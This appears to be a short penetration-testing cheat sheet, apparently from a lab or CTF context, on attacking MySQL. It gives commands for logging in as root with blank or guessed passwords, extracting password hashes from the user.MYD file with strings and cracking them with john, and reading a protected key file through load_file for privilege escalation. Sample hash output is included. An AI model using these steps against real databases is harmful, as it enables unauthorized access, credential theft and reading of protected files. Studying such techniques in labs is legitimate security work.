MySql
Easy to Try
Sometimes people leave NO password or easy to guess.
su mysql .. sometimes an actual user
mysql -u root .. see if you can get into mysql easily
.. easy guess 'mysql' password!! Navigate
show databases;
use [DATABASE];
show tables;
select * from [TABLE];Strings MYD
> strings /var/lib/mysql/mysql/user.MYD ..might get you a password
localhost
root*D3240DFEFEDF838952C03D28
6c732c6044b7
root 127.0.0.1
root localhost
debian-sys-maint*D1461CE757B9B67AC344204A3A7FE9F9DB17A35C
68B0F4D12A2A1885
..
Stitch the two together:
root:*D3240DFEFEDF838952C03D2868B0F4D12A2A1885
john ./lab.txt
root18 ..cracked!PrivEsc
Privesc to read a file you shouldnt have access to!
Some of this is locked down in later releases of mysql, but worth checking!!
>> mysql -u root
>> select load_file('/var/lib/mysql-files/key.txt');
+-------------------------------------------+
| load_file('/var/lib/mysql-files/key.txt') |
+-------------------------------------------+
| 4234db90-01c6-4f10-8c81-8c0017107fc7Last updated